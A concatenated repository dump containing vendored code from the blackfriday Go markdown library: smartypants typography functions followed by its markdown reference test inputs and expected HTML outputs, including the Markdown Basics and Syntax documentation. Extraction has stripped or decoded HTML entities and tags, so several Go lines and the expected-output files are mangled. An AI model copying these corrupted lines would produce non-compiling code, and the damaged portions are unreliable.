*isOpen = true case isspace(previousChar) /* && isnormal(nextChar) */ : // [ "a] this is one of the easy cases *isOpen = true case ispunct(previousChar) /* && isnormal(nextChar) */ : // [!"a] is probably an open *isOpen = true default: // [a'b] maybe a contraction? *isOpen = false } out.WriteByte('&') if *isOpen { out.WriteByte('l') } else { out.WriteByte('r') } out.WriteByte(quote) out.WriteString("quo;") return true } func smartSingleQuote(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int { if len(text) >= 2 { t1 := tolower(text[1]) if t1 == '\'' { nextChar := byte(0) if len(text) >= 3 { nextChar = text[2] } if smartQuoteHelper(out, previousChar, nextChar, 'd', &smrt.inDoubleQuote) { return 1 } } if (t1 == 's' || t1 == 't' || t1 == 'm' || t1 == 'd') && (len(text) < 3 || wordBoundary(text[2])) { out.WriteString("’") return 0 } if len(text) >= 3 { t2 := tolower(text[2]) if ((t1 == 'r' && t2 == 'e') || (t1 == 'l' && t2 == 'l') || (t1 == 'v' && t2 == 'e')) && (len(text) < 4 || wordBoundary(text[3])) { out.WriteString("’") return 0 } } } nextChar := byte(0) if len(text) > 1 { nextChar = text[1] } if smartQuoteHelper(out, previousChar, nextChar, 's', &smrt.inSingleQuote) { return 0 } out.WriteByte(text[0]) return 0 } func smartParens(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int { if len(text) >= 3 { t1 := tolower(text[1]) t2 := tolower(text[2]) if t1 == 'c' && t2 == ')' { out.WriteString("©") return 2 } if t1 == 'r' && t2 == ')' { out.WriteString("®") return 2 } if len(text) >= 4 && t1 == 't' && t2 == 'm' && text[3] == ')' { out.WriteString("™") return 3 } } out.WriteByte(text[0]) return 0 } func smartDash(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int { if len(text) >= 2 { if text[1] == '-' { out.WriteString("—") return 1 } if wordBoundary(previousChar) && wordBoundary(text[1]) { out.WriteString("–") return 0 } } out.WriteByte(text[0]) return 0 } func smartDashLatex(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int { if len(text) >= 3 && text[1] == '-' && text[2] == '-' { out.WriteString("—") return 2 } if len(text) >= 2 && text[1] == '-' { out.WriteString("–") return 1 } out.WriteByte(text[0]) return 0 } func smartAmp(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int { if bytes.HasPrefix(text, []byte(""")) { nextChar := byte(0) if len(text) >= 7 { nextChar = text[6] } if smartQuoteHelper(out, previousChar, nextChar, 'd', &smrt.inDoubleQuote) { return 5 } } if bytes.HasPrefix(text, []byte("�")) { return 3 } out.WriteByte('&') return 0 } func smartPeriod(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int { if len(text) >= 3 && text[1] == '.' && text[2] == '.' { out.WriteString("…") return 2 } if len(text) >= 5 && text[1] == ' ' && text[2] == '.' && text[3] == ' ' && text[4] == '.' { out.WriteString("…") return 4 } out.WriteByte(text[0]) return 0 } func smartBacktick(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int { if len(text) >= 2 && text[1] == '`' { nextChar := byte(0) if len(text) >= 3 { nextChar = text[2] } if smartQuoteHelper(out, previousChar, nextChar, 'd', &smrt.inDoubleQuote) { return 1 } } out.WriteByte(text[0]) return 0 } func smartNumberGeneric(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int { if wordBoundary(previousChar) && len(text) >= 3 { // is it of the form digits/digits(word boundary)?, i.e., \d+/\d+\b // note: check for regular slash (/) or fraction slash (⁄, 0x2044, or 0xe2 81 84 in utf-8) numEnd := 0 for len(text) > numEnd && isdigit(text[numEnd]) { numEnd++ } if numEnd == 0 { out.WriteByte(text[0]) return 0 } denStart := numEnd + 1 if len(text) > numEnd+3 && text[numEnd] == 0xe2 && text[numEnd+1] == 0x81 && text[numEnd+2] == 0x84 { denStart = numEnd + 3 } else if len(text) < numEnd+2 || text[numEnd] != '/' { out.WriteByte(text[0]) return 0 } denEnd := denStart for len(text) > denEnd && isdigit(text[denEnd]) { denEnd++ } if denEnd == denStart { out.WriteByte(text[0]) return 0 } if len(text) == denEnd || wordBoundary(text[denEnd]) { out.WriteString("") out.Write(text[:numEnd]) out.WriteString("") out.Write(text[denStart:denEnd]) out.WriteString("") return denEnd - 1 } } out.WriteByte(text[0]) return 0 } func smartNumber(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int { if wordBoundary(previousChar) && len(text) >= 3 { if text[0] == '1' && text[1] == '/' && text[2] == '2' { if len(text) < 4 || wordBoundary(text[3]) { out.WriteString("½") return 2 } } if text[0] == '1' && text[1] == '/' && text[2] == '4' { if len(text) < 4 || wordBoundary(text[3]) || (len(text) >= 5 && tolower(text[3]) == 't' && tolower(text[4]) == 'h') { out.WriteString("¼") return 2 } } if text[0] == '3' && text[1] == '/' && text[2] == '4' { if len(text) < 4 || wordBoundary(text[3]) || (len(text) >= 6 && tolower(text[3]) == 't' && tolower(text[4]) == 'h' && tolower(text[5]) == 's') { out.WriteString("¾") return 2 } } } out.WriteByte(text[0]) return 0 } func smartDoubleQuote(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int { nextChar := byte(0) if len(text) > 1 { nextChar = text[1] } if !smartQuoteHelper(out, previousChar, nextChar, 'd', &smrt.inDoubleQuote) { out.WriteString(""") } return 0 } func smartLeftAngle(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int { i := 0 for i < len(text) && text[i] != '>' { i++ } out.Write(text[:i+1]) return i } type smartCallback func(out *bytes.Buffer, smrt *smartypantsData, previousChar byte, text []byte) int type smartypantsRenderer [256]smartCallback func smartypants(flags int) *smartypantsRenderer { r := new(smartypantsRenderer) r['"'] = smartDoubleQuote r['&'] = smartAmp r['\''] = smartSingleQuote r['('] = smartParens if flags&HTML_SMARTYPANTS_LATEX_DASHES == 0 { r['-'] = smartDash } else { r['-'] = smartDashLatex } r['.'] = smartPeriod if flags&HTML_SMARTYPANTS_FRACTIONS == 0 { r['1'] = smartNumber r['3'] = smartNumber } else { for ch := '1'; ch <= '9'; ch++ { r[ch] = smartNumberGeneric } } r['<'] = smartLeftAngle r['`'] = smartBacktick return r } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Amps and angle encoding.html ================================================

      AT&T has an ampersand in their name.

      AT&T is another way to write it.

      This & that.

      4 < 5.

      6 > 5.

      Here's a link with an ampersand in the URL.

      Here's a link with an amersand in the link text: AT&T.

      Here's an inline link.

      Here's an inline link.

      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Amps and angle encoding.text ================================================ AT&T has an ampersand in their name. AT&T is another way to write it. This & that. 4 < 5. 6 > 5. Here's a [link] [1] with an ampersand in the URL. Here's a link with an amersand in the link text: [AT&T] [2]. Here's an inline [link](/script?foo=1&bar=2). Here's an inline [link](). [1]: http://example.com/?foo=1&bar=2 [2]: http://att.com/ "AT&T" ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Auto links.html ================================================

      Link: http://example.com/.

      With an ampersand: http://example.com/?foo=1&bar=2

      Blockquoted: http://example.com/

      Auto-links should not occur here: <http://example.com/>

      or here: <http://example.com/>
      
      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Auto links.text ================================================ Link: . With an ampersand: * In a list? * * It should. > Blockquoted: Auto-links should not occur here: `` or here: ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Backslash escapes.html ================================================

      These should all get escaped:

      Backslash: \

      Backtick: `

      Asterisk: *

      Underscore: _

      Left brace: {

      Right brace: }

      Left bracket: [

      Right bracket: ]

      Left paren: (

      Right paren: )

      Greater-than: >

      Hash: #

      Period: .

      Bang: !

      Plus: +

      Minus: -

      These should not, because they occur within a code block:

      Backslash: \\
      
      Backtick: \`
      
      Asterisk: \*
      
      Underscore: \_
      
      Left brace: \{
      
      Right brace: \}
      
      Left bracket: \[
      
      Right bracket: \]
      
      Left paren: \(
      
      Right paren: \)
      
      Greater-than: \>
      
      Hash: \#
      
      Period: \.
      
      Bang: \!
      
      Plus: \+
      
      Minus: \-
      

      Nor should these, which occur in code spans:

      Backslash: \\

      Backtick: \`

      Asterisk: \*

      Underscore: \_

      Left brace: \{

      Right brace: \}

      Left bracket: \[

      Right bracket: \]

      Left paren: \(

      Right paren: \)

      Greater-than: \>

      Hash: \#

      Period: \.

      Bang: \!

      Plus: \+

      Minus: \-

      These should get escaped, even though they're matching pairs for other Markdown constructs:

      *asterisks*

      _underscores_

      `backticks`

      This is a code span with a literal backslash-backtick sequence: \`

      This is a tag with unescaped backticks bar.

      This is a tag with backslashes bar.

      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Backslash escapes.text ================================================ These should all get escaped: Backslash: \\ Backtick: \` Asterisk: \* Underscore: \_ Left brace: \{ Right brace: \} Left bracket: \[ Right bracket: \] Left paren: \( Right paren: \) Greater-than: \> Hash: \# Period: \. Bang: \! Plus: \+ Minus: \- These should not, because they occur within a code block: Backslash: \\ Backtick: \` Asterisk: \* Underscore: \_ Left brace: \{ Right brace: \} Left bracket: \[ Right bracket: \] Left paren: \( Right paren: \) Greater-than: \> Hash: \# Period: \. Bang: \! Plus: \+ Minus: \- Nor should these, which occur in code spans: Backslash: `\\` Backtick: `` \` `` Asterisk: `\*` Underscore: `\_` Left brace: `\{` Right brace: `\}` Left bracket: `\[` Right bracket: `\]` Left paren: `\(` Right paren: `\)` Greater-than: `\>` Hash: `\#` Period: `\.` Bang: `\!` Plus: `\+` Minus: `\-` These should get escaped, even though they're matching pairs for other Markdown constructs: \*asterisks\* \_underscores\_ \`backticks\` This is a code span with a literal backslash-backtick sequence: `` \` `` This is a tag with unescaped backticks bar. This is a tag with backslashes bar. ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Blockquotes with code blocks.html ================================================

      Example:

      sub status {
          print "working";
      }
      

      Or:

      sub status {
          return "working";
      }
      
      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Blockquotes with code blocks.text ================================================ > Example: > > sub status { > print "working"; > } > > Or: > > sub status { > return "working"; > } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Code Blocks.html ================================================
      code block on the first line
      

      Regular text.

      code block indented by spaces
      

      Regular text.

      the lines in this block  
      all contain trailing spaces  
      

      Regular Text.

      code block on the last line
      
      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Code Blocks.text ================================================ code block on the first line Regular text. code block indented by spaces Regular text. the lines in this block all contain trailing spaces Regular Text. code block on the last line ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Code Spans.html ================================================

      <test a=" content of attribute ">

      Fix for backticks within HTML tag: like this

      Here's how you put `backticks` in a code span.

      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Code Spans.text ================================================ `` Fix for backticks within HTML tag: like this Here's how you put `` `backticks` `` in a code span. ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Hard-wrapped paragraphs with list-like lines no empty line before block.html ================================================

      In Markdown 1.0.0 and earlier. Version

      1. This line turns into a list item. Because a hard-wrapped line in the middle of a paragraph looked like a list item.

      Here's one with a bullet.

      • criminey.
      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Hard-wrapped paragraphs with list-like lines no empty line before block.text ================================================ In Markdown 1.0.0 and earlier. Version 8. This line turns into a list item. Because a hard-wrapped line in the middle of a paragraph looked like a list item. Here's one with a bullet. * criminey. ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Hard-wrapped paragraphs with list-like lines.html ================================================

      In Markdown 1.0.0 and earlier. Version 8. This line turns into a list item. Because a hard-wrapped line in the middle of a paragraph looked like a list item.

      Here's one with a bullet. * criminey.

      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Hard-wrapped paragraphs with list-like lines.text ================================================ In Markdown 1.0.0 and earlier. Version 8. This line turns into a list item. Because a hard-wrapped line in the middle of a paragraph looked like a list item. Here's one with a bullet. * criminey. ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Horizontal rules.html ================================================

      Dashes:





      ---
      




      - - -
      

      Asterisks:





      ***
      




      * * *
      

      Underscores:





      ___
      




      _ _ _
      
      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Horizontal rules.text ================================================ Dashes: --- --- --- --- --- - - - - - - - - - - - - - - - Asterisks: *** *** *** *** *** * * * * * * * * * * * * * * * Underscores: ___ ___ ___ ___ ___ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Inline HTML (Advanced).html ================================================

      Simple block on one line:

      foo

      And nested without indentation:

      foo
      bar
      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Inline HTML (Advanced).text ================================================ Simple block on one line:
      foo
      And nested without indentation:
      foo
      bar
      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Inline HTML (Simple).html ================================================

      Here's a simple block:

      foo

      This should be a code block, though:

      <div>
          foo
      </div>
      

      As should this:

      <div>foo</div>
      

      Now, nested:

      foo

      This should just be an HTML comment:

      Multiline:

      Code block:

      <!-- Comment -->
      

      Just plain comment, with trailing spaces on the line:

      Code:

      <hr />
      

      Hr's:










      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Inline HTML (Simple).text ================================================ Here's a simple block:
      foo
      This should be a code block, though:
      foo
      As should this:
      foo
      Now, nested:
      foo
      This should just be an HTML comment: Multiline: Code block: Just plain comment, with trailing spaces on the line: Code:
      Hr's:








      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Inline HTML comments.html ================================================

      Paragraph one.

      Paragraph two.

      The end.

      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Inline HTML comments.text ================================================ Paragraph one. Paragraph two. The end. ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Links, inline style.html ================================================

      Just a URL.

      URL and title.

      URL and title.

      URL and title.

      URL and title.

      [Empty]().

      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Links, inline style.text ================================================ Just a [URL](/url/). [URL and title](/url/ "title"). [URL and title](/url/ "title preceded by two spaces"). [URL and title](/url/ "title preceded by a tab"). [URL and title](/url/ "title has spaces afterward" ). [Empty](). ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Links, reference style.html ================================================

      Foo bar.

      Foo bar.

      Foo bar.

      With embedded [brackets].

      Indented once.

      Indented twice.

      Indented thrice.

      Indented [four][] times.

      [four]: /url
      

      this should work

      So should this.

      And this.

      And this.

      And this.

      But not [that] [].

      Nor [that][].

      Nor [that].

      [Something in brackets like this should work]

      [Same with this.]

      In this case, this points to something else.

      Backslashing should suppress [this] and [this].


      Here's one where the link breaks across lines.

      Here's another where the link breaks across lines, but with a line-ending space.

      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Links, reference style.text ================================================ Foo [bar] [1]. Foo [bar][1]. Foo [bar] [1]. [1]: /url/ "Title" With [embedded [brackets]] [b]. Indented [once][]. Indented [twice][]. Indented [thrice][]. Indented [four][] times. [once]: /url [twice]: /url [thrice]: /url [four]: /url [b]: /url/ * * * [this] [this] should work So should [this][this]. And [this] []. And [this][]. And [this]. But not [that] []. Nor [that][]. Nor [that]. [Something in brackets like [this][] should work] [Same with [this].] In this case, [this](/somethingelse/) points to something else. Backslashing should suppress \[this] and [this\]. [this]: foo * * * Here's one where the [link breaks] across lines. Here's another where the [link breaks] across lines, but with a line-ending space. [link breaks]: /url/ ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Links, shortcut references.html ================================================

      This is the simple case.

      This one has a line break.

      This one has a line break with a line-ending space.

      this and the other

      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Links, shortcut references.text ================================================ This is the [simple case]. [simple case]: /simple This one has a [line break]. This one has a [line break] with a line-ending space. [line break]: /foo [this] [that] and the [other] [this]: /this [that]: /that [other]: /other ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Literal quotes in titles.html ================================================

      Foo bar.

      Foo bar.

      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Literal quotes in titles.text ================================================ Foo [bar][]. Foo [bar](/url/ "Title with "quotes" inside"). [bar]: /url/ "Title with "quotes" inside" ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Markdown Documentation - Basics.html ================================================

      Markdown: Basics

      Getting the Gist of Markdown's Formatting Syntax

      This page offers a brief overview of what it's like to use Markdown. The syntax page provides complete, detailed documentation for every feature, but Markdown should be very easy to pick up simply by looking at a few examples of it in action. The examples on this page are written in a before/after style, showing example syntax and the HTML output produced by Markdown.

      It's also helpful to simply try Markdown out; the Dingus is a web application that allows you type your own Markdown-formatted text and translate it to XHTML.

      Note: This document is itself written using Markdown; you can see the source for it by adding '.text' to the URL.

      Paragraphs, Headers, Blockquotes

      A paragraph is simply one or more consecutive lines of text, separated by one or more blank lines. (A blank line is any line that looks like a blank line -- a line containing nothing spaces or tabs is considered blank.) Normal paragraphs should not be intended with spaces or tabs.

      Markdown offers two styles of headers: Setext and atx. Setext-style headers for <h1> and <h2> are created by "underlining" with equal signs (=) and hyphens (-), respectively. To create an atx-style header, you put 1-6 hash marks (#) at the beginning of the line -- the number of hashes equals the resulting HTML header level.

      Blockquotes are indicated using email-style '>' angle brackets.

      Markdown:

      A First Level Header
      ====================
      
      A Second Level Header
      ---------------------
      
      Now is the time for all good men to come to
      the aid of their country. This is just a
      regular paragraph.
      
      The quick brown fox jumped over the lazy
      dog's back.
      
      ### Header 3
      
      > This is a blockquote.
      > 
      > This is the second paragraph in the blockquote.
      >
      > ## This is an H2 in a blockquote
      

      Output:

      <h1>A First Level Header</h1>
      
      <h2>A Second Level Header</h2>
      
      <p>Now is the time for all good men to come to
      the aid of their country. This is just a
      regular paragraph.</p>
      
      <p>The quick brown fox jumped over the lazy
      dog's back.</p>
      
      <h3>Header 3</h3>
      
      <blockquote>
          <p>This is a blockquote.</p>
      
          <p>This is the second paragraph in the blockquote.</p>
      
          <h2>This is an H2 in a blockquote</h2>
      </blockquote>
      

      Phrase Emphasis

      Markdown uses asterisks and underscores to indicate spans of emphasis.

      Markdown:

      Some of these words *are emphasized*.
      Some of these words _are emphasized also_.
      
      Use two asterisks for **strong emphasis**.
      Or, if you prefer, __use two underscores instead__.
      

      Output:

      <p>Some of these words <em>are emphasized</em>.
      Some of these words <em>are emphasized also</em>.</p>
      
      <p>Use two asterisks for <strong>strong emphasis</strong>.
      Or, if you prefer, <strong>use two underscores instead</strong>.</p>
      

      Lists

      Unordered (bulleted) lists use asterisks, pluses, and hyphens (*, +, and -) as list markers. These three markers are interchangable; this:

      *   Candy.
      *   Gum.
      *   Booze.
      

      this:

      +   Candy.
      +   Gum.
      +   Booze.
      

      and this:

      -   Candy.
      -   Gum.
      -   Booze.
      

      all produce the same output:

      <ul>
      <li>Candy.</li>
      <li>Gum.</li>
      <li>Booze.</li>
      </ul>
      

      Ordered (numbered) lists use regular numbers, followed by periods, as list markers:

      1.  Red
      2.  Green
      3.  Blue
      

      Output:

      <ol>
      <li>Red</li>
      <li>Green</li>
      <li>Blue</li>
      </ol>
      

      If you put blank lines between items, you'll get <p> tags for the list item text. You can create multi-paragraph list items by indenting the paragraphs by 4 spaces or 1 tab:

      *   A list item.
      
          With multiple paragraphs.
      
      *   Another item in the list.
      

      Output:

      <ul>
      <li><p>A list item.</p>
      <p>With multiple paragraphs.</p></li>
      <li><p>Another item in the list.</p></li>
      </ul>
      

      Links

      Markdown supports two styles for creating links: inline and reference. With both styles, you use square brackets to delimit the text you want to turn into a link.

      Inline-style links use parentheses immediately after the link text. For example:

      This is an [example link](http://example.com/).
      

      Output:

      <p>This is an <a href="http://example.com/">
      example link</a>.</p>
      

      Optionally, you may include a title attribute in the parentheses:

      This is an [example link](http://example.com/ "With a Title").
      

      Output:

      <p>This is an <a href="http://example.com/" title="With a Title">
      example link</a>.</p>
      

      Reference-style links allow you to refer to your links by names, which you define elsewhere in your document:

      I get 10 times more traffic from [Google][1] than from
      [Yahoo][2] or [MSN][3].
      
      [1]: http://google.com/        "Google"
      [2]: http://search.yahoo.com/  "Yahoo Search"
      [3]: http://search.msn.com/    "MSN Search"
      

      Output:

      <p>I get 10 times more traffic from <a href="http://google.com/"
      title="Google">Google</a> than from <a href="http://search.yahoo.com/"
      title="Yahoo Search">Yahoo</a> or <a href="http://search.msn.com/"
      title="MSN Search">MSN</a>.</p>
      

      The title attribute is optional. Link names may contain letters, numbers and spaces, but are not case sensitive:

      I start my morning with a cup of coffee and
      [The New York Times][NY Times].
      
      [ny times]: http://www.nytimes.com/
      

      Output:

      <p>I start my morning with a cup of coffee and
      <a href="http://www.nytimes.com/">The New York Times</a>.</p>
      

      Images

      Image syntax is very much like link syntax.

      Inline (titles are optional):

      ![alt text](/path/to/img.jpg "Title")
      

      Reference-style:

      ![alt text][id]
      
      [id]: /path/to/img.jpg "Title"
      

      Both of the above examples produce the same output:

      <img src="/path/to/img.jpg" alt="alt text" title="Title" />
      

      Code

      In a regular paragraph, you can create code span by wrapping text in backtick quotes. Any ampersands (&) and angle brackets (< or >) will automatically be translated into HTML entities. This makes it easy to use Markdown to write about HTML example code:

      I strongly recommend against using any `<blink>` tags.
      
      I wish SmartyPants used named entities like `&mdash;`
      instead of decimal-encoded entites like `&#8212;`.
      

      Output:

      <p>I strongly recommend against using any
      <code>&lt;blink&gt;</code> tags.</p>
      
      <p>I wish SmartyPants used named entities like
      <code>&amp;mdash;</code> instead of decimal-encoded
      entites like <code>&amp;#8212;</code>.</p>
      

      To specify an entire block of pre-formatted code, indent every line of the block by 4 spaces or 1 tab. Just like with code spans, &, <, and > characters will be escaped automatically.

      Markdown:

      If you want your page to validate under XHTML 1.0 Strict,
      you've got to put paragraph tags in your blockquotes:
      
          <blockquote>
              <p>For example.</p>
          </blockquote>
      

      Output:

      <p>If you want your page to validate under XHTML 1.0 Strict,
      you've got to put paragraph tags in your blockquotes:</p>
      
      <pre><code>&lt;blockquote&gt;
          &lt;p&gt;For example.&lt;/p&gt;
      &lt;/blockquote&gt;
      </code></pre>
      
      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Markdown Documentation - Basics.text ================================================ Markdown: Basics ================ Getting the Gist of Markdown's Formatting Syntax ------------------------------------------------ This page offers a brief overview of what it's like to use Markdown. The [syntax page] [s] provides complete, detailed documentation for every feature, but Markdown should be very easy to pick up simply by looking at a few examples of it in action. The examples on this page are written in a before/after style, showing example syntax and the HTML output produced by Markdown. It's also helpful to simply try Markdown out; the [Dingus] [d] is a web application that allows you type your own Markdown-formatted text and translate it to XHTML. **Note:** This document is itself written using Markdown; you can [see the source for it by adding '.text' to the URL] [src]. [s]: /projects/markdown/syntax "Markdown Syntax" [d]: /projects/markdown/dingus "Markdown Dingus" [src]: /projects/markdown/basics.text ## Paragraphs, Headers, Blockquotes ## A paragraph is simply one or more consecutive lines of text, separated by one or more blank lines. (A blank line is any line that looks like a blank line -- a line containing nothing spaces or tabs is considered blank.) Normal paragraphs should not be intended with spaces or tabs. Markdown offers two styles of headers: *Setext* and *atx*. Setext-style headers for `

      ` and `

      ` are created by "underlining" with equal signs (`=`) and hyphens (`-`), respectively. To create an atx-style header, you put 1-6 hash marks (`#`) at the beginning of the line -- the number of hashes equals the resulting HTML header level. Blockquotes are indicated using email-style '`>`' angle brackets. Markdown: A First Level Header ==================== A Second Level Header --------------------- Now is the time for all good men to come to the aid of their country. This is just a regular paragraph. The quick brown fox jumped over the lazy dog's back. ### Header 3 > This is a blockquote. > > This is the second paragraph in the blockquote. > > ## This is an H2 in a blockquote Output:

      A First Level Header

      A Second Level Header

      Now is the time for all good men to come to the aid of their country. This is just a regular paragraph.

      The quick brown fox jumped over the lazy dog's back.

      Header 3

      This is a blockquote.

      This is the second paragraph in the blockquote.

      This is an H2 in a blockquote

      ### Phrase Emphasis ### Markdown uses asterisks and underscores to indicate spans of emphasis. Markdown: Some of these words *are emphasized*. Some of these words _are emphasized also_. Use two asterisks for **strong emphasis**. Or, if you prefer, __use two underscores instead__. Output:

      Some of these words are emphasized. Some of these words are emphasized also.

      Use two asterisks for strong emphasis. Or, if you prefer, use two underscores instead.

      ## Lists ## Unordered (bulleted) lists use asterisks, pluses, and hyphens (`*`, `+`, and `-`) as list markers. These three markers are interchangable; this: * Candy. * Gum. * Booze. this: + Candy. + Gum. + Booze. and this: - Candy. - Gum. - Booze. all produce the same output:
      • Candy.
      • Gum.
      • Booze.
      Ordered (numbered) lists use regular numbers, followed by periods, as list markers: 1. Red 2. Green 3. Blue Output:
      1. Red
      2. Green
      3. Blue
      If you put blank lines between items, you'll get `

      ` tags for the list item text. You can create multi-paragraph list items by indenting the paragraphs by 4 spaces or 1 tab: * A list item. With multiple paragraphs. * Another item in the list. Output:

      • A list item.

        With multiple paragraphs.

      • Another item in the list.

      ### Links ### Markdown supports two styles for creating links: *inline* and *reference*. With both styles, you use square brackets to delimit the text you want to turn into a link. Inline-style links use parentheses immediately after the link text. For example: This is an [example link](http://example.com/). Output:

      This is an example link.

      Optionally, you may include a title attribute in the parentheses: This is an [example link](http://example.com/ "With a Title"). Output:

      This is an example link.

      Reference-style links allow you to refer to your links by names, which you define elsewhere in your document: I get 10 times more traffic from [Google][1] than from [Yahoo][2] or [MSN][3]. [1]: http://google.com/ "Google" [2]: http://search.yahoo.com/ "Yahoo Search" [3]: http://search.msn.com/ "MSN Search" Output:

      I get 10 times more traffic from Google than from Yahoo or MSN.

      The title attribute is optional. Link names may contain letters, numbers and spaces, but are *not* case sensitive: I start my morning with a cup of coffee and [The New York Times][NY Times]. [ny times]: http://www.nytimes.com/ Output:

      I start my morning with a cup of coffee and The New York Times.

      ### Images ### Image syntax is very much like link syntax. Inline (titles are optional): ![alt text](/path/to/img.jpg "Title") Reference-style: ![alt text][id] [id]: /path/to/img.jpg "Title" Both of the above examples produce the same output: alt text ### Code ### In a regular paragraph, you can create code span by wrapping text in backtick quotes. Any ampersands (`&`) and angle brackets (`<` or `>`) will automatically be translated into HTML entities. This makes it easy to use Markdown to write about HTML example code: I strongly recommend against using any `` tags. I wish SmartyPants used named entities like `—` instead of decimal-encoded entites like `—`. Output:

      I strongly recommend against using any <blink> tags.

      I wish SmartyPants used named entities like &mdash; instead of decimal-encoded entites like &#8212;.

      To specify an entire block of pre-formatted code, indent every line of the block by 4 spaces or 1 tab. Just like with code spans, `&`, `<`, and `>` characters will be escaped automatically. Markdown: If you want your page to validate under XHTML 1.0 Strict, you've got to put paragraph tags in your blockquotes:

      For example.

      Output:

      If you want your page to validate under XHTML 1.0 Strict, you've got to put paragraph tags in your blockquotes:

      <blockquote>
              <p>For example.</p>
          </blockquote>
          
      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Markdown Documentation - Syntax.html ================================================

      Markdown: Syntax

      Note: This document is itself written using Markdown; you can see the source for it by adding '.text' to the URL.


      Overview

      Philosophy

      Markdown is intended to be as easy-to-read and easy-to-write as is feasible.

      Readability, however, is emphasized above all else. A Markdown-formatted document should be publishable as-is, as plain text, without looking like it's been marked up with tags or formatting instructions. While Markdown's syntax has been influenced by several existing text-to-HTML filters -- including Setext, atx, Textile, reStructuredText, Grutatext, and EtText -- the single biggest source of inspiration for Markdown's syntax is the format of plain text email.

      To this end, Markdown's syntax is comprised entirely of punctuation characters, which punctuation characters have been carefully chosen so as to look like what they mean. E.g., asterisks around a word actually look like *emphasis*. Markdown lists look like, well, lists. Even blockquotes look like quoted passages of text, assuming you've ever used email.

      Inline HTML

      Markdown's syntax is intended for one purpose: to be used as a format for writing for the web.

      Markdown is not a replacement for HTML, or even close to it. Its syntax is very small, corresponding only to a very small subset of HTML tags. The idea is not to create a syntax that makes it easier to insert HTML tags. In my opinion, HTML tags are already easy to insert. The idea for Markdown is to make it easy to read, write, and edit prose. HTML is a publishing format; Markdown is a writing format. Thus, Markdown's formatting syntax only addresses issues that can be conveyed in plain text.

      For any markup that is not covered by Markdown's syntax, you simply use HTML itself. There's no need to preface it or delimit it to indicate that you're switching from Markdown to HTML; you just use the tags.

      The only restrictions are that block-level HTML elements -- e.g. <div>, <table>, <pre>, <p>, etc. -- must be separated from surrounding content by blank lines, and the start and end tags of the block should not be indented with tabs or spaces. Markdown is smart enough not to add extra (unwanted) <p> tags around HTML block-level tags.

      For example, to add an HTML table to a Markdown article:

      This is a regular paragraph.
      
      <table>
          <tr>
              <td>Foo</td>
          </tr>
      </table>
      
      This is another regular paragraph.
      

